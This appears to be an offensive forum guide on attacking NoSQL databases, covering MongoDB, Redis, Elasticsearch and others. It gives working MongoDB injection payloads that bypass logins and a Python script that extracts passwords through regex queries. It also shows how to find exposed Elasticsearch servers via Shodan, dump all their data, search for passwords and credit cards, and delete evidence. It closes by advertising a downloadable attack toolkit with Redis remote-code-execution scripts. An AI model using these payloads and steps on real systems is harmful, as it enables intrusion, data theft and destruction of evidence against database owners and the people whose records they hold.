NOSQL DATABASE ATTACKS MongoDB Injection • Redis RCE • Elasticsearch Mining • Cassandra • CouchDB
NOSQL GUIDE: NoSQL databases have different attack surfaces than SQL databases. No fixed schemas, different query languages, and often weaker default security. This guide covers exploitation of the most common NoSQL databases found in the wild.NOSQL DATABASE OVERVIEW
| Database | Default Port | Query Language | Auth Default | Common Exposure | Attack Difficulty |
| MongoDB | 27017 | BSON/JS | None (disabled) | Cloud misconfig, IoT | Low |
| Redis | 6379 | Redis commands | None | Dev/staging servers | Low |
| Elasticsearch | 9200, 9300 | REST API | None (disabled) | Kibana dashboards | Low |
| Cassandra | 9042, 9160 | CQL | None (default) | Big data deployments | Medium |
| CouchDB | 5984 | REST API | Admin party (none) | PouchDB apps | Low |
| Neo4j | 7474, 7687 | Cypher | None (default) | Graph apps | Medium |
| DynamoDB | HTTPS (443) | JSON | AWS IAM | AWS misconfigs | High |
MONGODB INJECTION
Code:
MongoDB injection occurs in $where clauses or REST APIs.
1. NoSQL injection in login forms:
POST /login
{"username": "admin", "password": {"$gt": ""}}
// $gt (greater than) matches any non-empty password → bypass!
POST /login
{"username": {"$ne": ""}, "password": {"$ne": ""}}
// $ne (not equal) matches any non-null value → bypass!
2. In $where injection:
db.find({$where: "this.username == '" + userInput + "'"})
Input: ' || true || '
Result: db.find({$where: "this.username == '' || true || ''"})
// Returns all documents!
Input: '; sleep(5000); '
// Time-based blind injection (if eval is enabled)
3. REST API injection:
GET /api/users?username[$ne]=admin
// Returns users where username != admin
GET /api/users?username[$regex]=.*
// Returns all users (regex match everything)
GET /api/users?role[$gt]=
// Returns users with role > empty string
4. Data extraction script:
#!/usr/bin/python3
import requests
import string
def extract_passwords():
chars = string.ascii_lowercase + string.digits
password = ""
for pos in range(20): # max 20 chars
for c in chars:
regex = "^" + password + c
r = requests.get(f"[URL]http://target/api/users[/URL]", params={
"username": "admin",
"password[$regex]": regex
})
if "user found" in r.text:
password += c
print(f"Found: {password}")
break
return passwordELASTICSEARCH DATA MINING
Code:
Elasticsearch often exposes massive amounts of data without auth.
1. Discovery:
Shodan search: port:9200 "elasticsearch"
2. List indices:
GET _cat/indices?v
# Shows all databases (indices) and their document counts
3. Dump all data:
GET _search?size=10000
# Returns first 10K documents from all indices
GET /_all/_search?scroll=1m&size=5000
# Starts scroll for large dataset
POST /_search/scroll
{"scroll": "1m", "scroll_id": "DXF1ZXJ5QW5kRmV0Y2gB..."}
# Next scroll page — repeat until no results
4. Targeted queries:
GET /users/_search?q=password:*
# Find documents with password field
GET /_all/_search?q=type:credit_card
GET /logs-*/_search?q=level:CRITICAL
5. Delete evidence:
POST /_all/_delete_by_query?q=field:value
# Be careful — this is irreversible
6. Automated dumping tool:
python3 elasticdump.py --url [URL]http://target:9200[/URL] --output dump.json
# Included in toolkit
Note: Elasticsearch 8.x has security enabled by default.
Target: older Elasticsearch (6.x, 7.x) or misconfigured 8.x installations.TOOLKIT[/SITE]
Code:
NoSQL exploitation toolkit:
- NoSQLMap: Automated NoSQL injection and exploitation
- Redis RCE scripts (SSH key, cron, web shell)
- Elasticsearch Dumper (Python)
- MongoDB scraper (extract all data)
- CouchDB scanner
- Default credential lists for all NoSQL databases
Download: mega.nz/file/BlackSec_NoSQL_Attacks_2026
Password: NoSQL2026